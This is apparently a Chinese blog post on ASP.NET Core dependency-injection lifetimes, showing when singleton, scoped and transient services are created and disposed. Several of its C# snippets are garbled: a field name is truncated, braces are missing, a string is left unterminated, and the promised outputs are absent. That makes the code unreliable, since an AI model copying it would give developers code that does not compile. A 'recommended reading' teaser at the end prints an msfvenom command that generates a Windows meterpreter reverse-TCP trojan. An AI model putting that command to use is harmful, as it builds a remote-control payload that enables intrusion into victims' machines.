4. 容器中的服务创建与释放

我们使用了 IoC 容器之后,服务实例的创建和销毁的工作就交给了容器去处理,前面也讲到了服务的生命周期,那三种生命周期中对象的创建和销毁分别在什么时候呢。以下面的例子演示以下:

首先是新增三个类,用于注册三种不同的生命周期:

public class Service1
{
public Service1()
{
Console.WriteLine("Service1 Created");
}
}
public class Service2
{
public Service2()
{
Console.WriteLine("Service2 Created");
}
}
public class Service3
{
public Service3()
{
Console.WriteLine("Service3 Created");
}
}

接下来是演示场景,为了简单起见,就用后台服务程序吧

IHost host = Host.CreateDefaultBuilder(args)
.ConfigureServices(services =>
{
services.AddHostedService<Worker>();
services.AddSingleton<Service1>();
services.AddScoped<Service2>();
services.AddTransient<Service3>();
})
.Build(); await host.RunAsync(); public class Worker : BackgroundService
{
private readonly ILogger<Worker> _logger;
private readonly IServiceProvider _serviceProvid
public Worker(ILogger<Worker> logger, IServiceProvider serviceProvider)
{
_logger = logger;
_serviceProvider = serviceProvider;
} protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
#region 生命周期实例创建
Console.WriteLine("Service1 第一次调用");
var service11 = _serviceProvider.GetService<Service1>();
Console.WriteLine("Service1 第二次调用");
var service12 = _serviceProvider.GetService<Service1>(); // 创建作用域,与 Web 应用中的一次请求一样
using (var scope = _serviceProvider.CreateScope())
{
Console.WriteLine("Service2 第一次调用");
var service31 = scope.ServiceProvider.GetService<Service2>();
Console.WriteLine("Service2 第二次调用");
var service32 = scope.ServiceProvider.GetService<Service2>(); using (var scope1 = _serviceProvider.CreateScope())
{
Console.WriteLine("Service2 第三次调用");
var service33 = scope1.ServiceProvider.GetService<Service2>();
}
}
{
Console.WriteLine("Service3 第一次调用");
var service41 = _serviceProvider.GetService<Service3>(); Console.WriteLine("Service3 第二次调用");
var service42 = _serviceProvider.GetService<Service3>();
}
#endregion
}
}
}

最终的输出如下:

通过输出,我们可以单例生命周期服务在第一次使用的时候创建,之后一直是一个实例,作用域生命周期服务在一个作用域中第一次使用的时候创建实例,之后在同一个实例中只保持一个,但在其他作用域中则会重新创建,而瞬时生命周期服务每次都会创建一个新实例。

看完创建,我们再看实例销毁的时机。

若服务实现了IDisposable接口,并且该服务是由DI容器创建的,则我们不应该手动去Dispose,DI容器会对服务自动进行释放。这里由两个关键点,一个是要实现 Idisposable 接口,一个是由容器创建。这里再增加多两个类,用于演示,并且为了避免干扰将之前演示创建过程的代码注释。

public class Service1 : IDisposable
{
public Service1()
{
Console.WriteLine("Service1 Created"); public void Dispose()
{
Console.WriteLine("Service1 Dispose");
}
} public class Service2 : IDisposable
{
public Service2()
{
Console.WriteLine("Service2 Created"); public void Dispose()
{
Console.WriteLine("Service2 Dispose");
}
} public class Service3 : IDisposable
{
public Service3()
{
Console.WriteLine("Service3 Created");
} public void Dispose()
{
Console.WriteLine("Service3 Dispose");
}
} public class Service4 : IDisposable
{
public void Dispose()
{
Console.WriteLine("Service4 Dispose");
}
} public class Service5 : IDisposable
{
public void Dispose()
{
Console.WriteLine("Service5 Dispose");
}
}

之后后台服务程序也做一些修改

IHost host = Host.CreateDefaultBuilder(args)
.ConfigureServices(services =>
{
services.AddHostedService<Worker>();
services.AddSingleton<Service1>();
services.AddScoped<Service2>();
services.AddTransient<Service3>();
// 这种方式依旧由容器创建实例,只不过提供了工厂方法
services.AddSingleton<Service4>(provider => new Service4());
// 这种方式是用外部创建实例,只有单例生命周期可用
services.AddSingleton<Service5>(new Service5());
})
.Build(); await host.RunAsync(); public class Worker : BackgroundService
{
private readonly ILogger<Worker> _logger;
private readonly IServiceProvider _serviceProvid
public Worker(ILogger<Worker> logger, IServiceProvider serviceProvider)
{
_logger = logger;
_serviceProvider = serviceProvider;
} protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
#region 生命周期实
Console.WriteLine("Service1 调用");
var service1 = _serviceProvider.GetService<Service1>(); // 创建作用域,与 Web 应用中的一次请求一样
using (var scope = _serviceProvider.CreateScope())
{
Console.WriteLine("Service2 调用");
var service2 = scope.ServiceProvider.GetService<Service2>();
Console.WriteLine("即将结束作用域
Console.WriteLine("Service3 调用");
var service3 = scope.ServiceProvider.GetService<Service3>();
} Console.WriteLine("Service4 调用");
var service4 = _serviceProvider.GetService<Service4>();
Console.WriteLine("Service5 调用");
var service5 = _serviceProvider.GetService<Service5>(); #endregion
}
}

这样要直接用命令启动应用,不能够通过vs调试,之后Ctrl+C停止应用的时候,输出如下:

通过输出可以看得到,瞬时生命周期服务和作用域生命周期服务在超出作用范围就会被释放,而单例生命周期服务则在应用关闭时才释放,同为单例生命周期的Service5没有被释放。

这里要提一下的是,在解析瞬时生命周期服务Service3的时候,示例代码中是放到一个单独的作用域中的,这是因为在通过 services.AddHostedService<Worker>(); 注入Worker的时候是注入为单例生命周期的,而在单例生命周期对象中解析其他生命周期的对象是会有问题的,这也是服务注入、解析需要注意的一个关键点。

一定要注意服务解析范围,不要在 Singleton 中解析 Transient 或 Scoped 服务,这可能导致服务状态错误(如导致服务实例生命周期提升为单例,因为单例生命周期的服务对象只会在应用停止的时候释放,而单例对象都没释放,它的依赖项肯定不会释放)。允许的方式有:

  • 在 Scoped 或 Transient 服务中解析 Singleton 服务
  • 在 Scoped 或 Transient 服务中解析 Scoped 服务(不能和前面的Scoped服务相同)

如果要在单例生命周期示例中临时解析作用域、瞬时生命周期的服务,可以通过创建一个子作用域的方式。对子作用域 IServiceScope 的工作方式感兴趣的,可阅读一下这篇文章:细聊.Net Core中IServiceScope的工作方式

参考文章:

ASP.NET Core 依赖注入 | Microsoft Learn

理解ASP.NET Core - 依赖注入(Dependency Injection)

ASP.NET Core 系列:

目录:ASP.NET Core 系列总结

上一篇:ASP.NET Core - 依赖注入(二)

ASP.NET Core - 依赖注入(三)的更多相关文章

  1. # ASP.NET Core依赖注入解读&使用Autofac替代实现

    标签: 依赖注入 Autofac ASPNETCore ASP.NET Core依赖注入解读&使用Autofac替代实现 1. 前言 2. ASP.NET Core 中的DI方式 3. Aut ...

  2. [译]ASP.NET Core依赖注入深入讨论

    原文链接:ASP.NET Core Dependency Injection Deep Dive - Joonas W's blog 这篇文章我们来深入探讨ASP.NET Core.MVC Core中 ...

  3. ASP.NET Core依赖注入——依赖注入最佳实践

    在这篇文章中,我们将深入研究.NET Core和ASP.NET Core MVC中的依赖注入,将介绍几乎所有可能的选项,依赖注入是ASP.Net Core的核心,我将分享在ASP.Net Core应用 ...

  4. ASP.NET Core依赖注入解读&使用Autofac替代实现【转载】

    ASP.NET Core依赖注入解读&使用Autofac替代实现 1. 前言 2. ASP.NET Core 中的DI方式 3. Autofac实现和自定义实现扩展方法 3.1 安装Autof ...

  5. 实现BUG自动检测 - ASP.NET Core依赖注入

    我个人比较懒,能自动做的事绝不手动做,最近在用ASP.NET Core写一个项目,过程中会积累一些方便的工具类或框架,分享出来欢迎大家点评. 如果以后有时间的话,我打算写一个系列的[实现BUG自动检测 ...

  6. asp.net core 依赖注入几种常见情况

    先读一篇注入入门 全面理解 ASP.NET Core 依赖注入, 学习一下基本使用 然后学习一招, 不使用接口规范, 直接写功能类, 一般情况下可以用来做单例. 参考https://www.cnblo ...

  7. 自动化CodeReview - ASP.NET Core依赖注入

    自动化CodeReview系列目录 自动化CodeReview - ASP.NET Core依赖注入 自动化CodeReview - ASP.NET Core请求参数验证 我个人比较懒,能自动做的事绝 ...

  8. ASP.NET Core 依赖注入最佳实践——提示与技巧

    在这篇文章,我将分享一些在ASP.NET Core程序中使用依赖注入的个人经验和建议.这些原则背后的动机如下: 高效地设计服务和它们的依赖. 预防多线程问题. 预防内存泄漏. 预防潜在的BUG. 这篇 ...

  9. ASP.NET Core依赖注入最佳实践,提示&技巧

    分享翻译一篇Abp框架作者(Halil İbrahim Kalkan)关于ASP.NET Core依赖注入的博文. 在本文中,我将分享我在ASP.NET Core应用程序中使用依赖注入的经验和建议. ...

  10. ASP.NET Core 依赖注入基本用法

    ASP.NET Core 依赖注入 ASP.NET Core从框架层对依赖注入提供支持.也就是说,如果你不了解依赖注入,将很难适应 ASP.NET Core的开发模式.本文将介绍依赖注入的基本概念,并 ...

随机推荐

  1. BFS算法套路框架

    一.概念 1.定义 Broad First Search 2.与DFS区别 BFS找到的路径最短 3.本质 找出图中从起点到终点的最近距离 二.二叉树的最小高度111 1.代码 /** * Defin ...

  2. 盘点JAVA中基于CAS实现的原子类, 你知道哪些?

    前言 JDK中提供了一系列的基于CAS实现的原子类,CAS 的全称是Compare-And-Swap,底层是lock cmpxchg指令,可以在单核和多核 CPU 下都能够保证比较交换的原子性.所以说 ...

  3. node-sass报错(Node Sass could not find a binding for your current environment)

    解决方案:参考 https://stackoverflow.com/questions/37986800/node-sass-couldnt-find-a-binding-for-your-curre ...

  4. GitOps实践之kubernetes安装argocd

    1. 什么是argocd 1.Argo CD是Kubernetes的一个声明性GitOps持续交付工具. 2.应用程序定义.配置和环境应该是声明性的和版本控制的.应用程序部署和生命周期管理应自动化.可 ...

  5. Django静态文件配置(from表单-request对象方法-get请求与post请求-视图函数书写)

    目录 一:静态文件配置 1.静态文件配置 2.什么是静态文件? 3.静态文件的创建 4.解决使用django后端代码修改前端不显示(缓存问题) 5.settings.py 静态文件配置 6.静态文接口 ...

  6. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  7. 如何在路由绑定中使用 IParsable

    IParsable 是 .Net 7 中新增的接口,它可以将字符串转换为对应的实体.在 Controller 的 Route 绑定中可以使用 IParsable 来绑定复杂的实体. 实验背景 假设有一 ...

  8. (已转)C++知识图谱

  9. github的初体验

    首先你得注册一个自己的GitHub账号,注册网址:https://github.com/join有了自己的账号以后,就可以进行登录,开始创建一个新的项目创建一个新的项目,填写项目名称,描述创建完成之后 ...

  10. PowerUsageSummary.java源码分析

    在在线网站http://androidxref.com/上对Android版本6.0.1_r10源码进行分析 官方手机的应用耗电排行具体实现位置在:/packages/apps/Settings/sr ...